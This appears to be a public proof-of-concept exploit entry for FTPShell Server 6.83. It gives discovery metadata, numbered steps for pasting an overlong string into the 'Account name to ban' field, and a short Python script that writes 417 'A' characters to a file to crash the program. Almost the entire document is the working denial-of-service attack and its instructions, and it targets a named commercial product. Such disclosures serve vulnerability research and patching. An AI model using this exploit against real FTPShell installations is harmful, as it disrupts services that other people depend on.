FTPShell Server 6.83 - 'Account name to ban' Denial of Service (PoC)

#Exploit Title: FTPShell Server 6.83 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2018-02-20
#Vendor Homepage: http://www.ftpshell.com/index.htm
#Software Link: http://www.ftpshell.com/downloadserver.htm
#Tested Version: 6.83
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: FTPShell_Server_6.83.py
#2.- Open ftpshell.txt and copy content to clipboard
#3.- Open FTPShell Server
#4.- Select "Manage FTP Accounts"
#5.- Select "Add Account Name" > in "Account name to ban" Paste Clipboard
#6.- Click on "Ok"
#7.- Crashed

cod = "\x41" * 417	

f = open('ftpshell.txt', 'w')
f.write(cod)
f.close()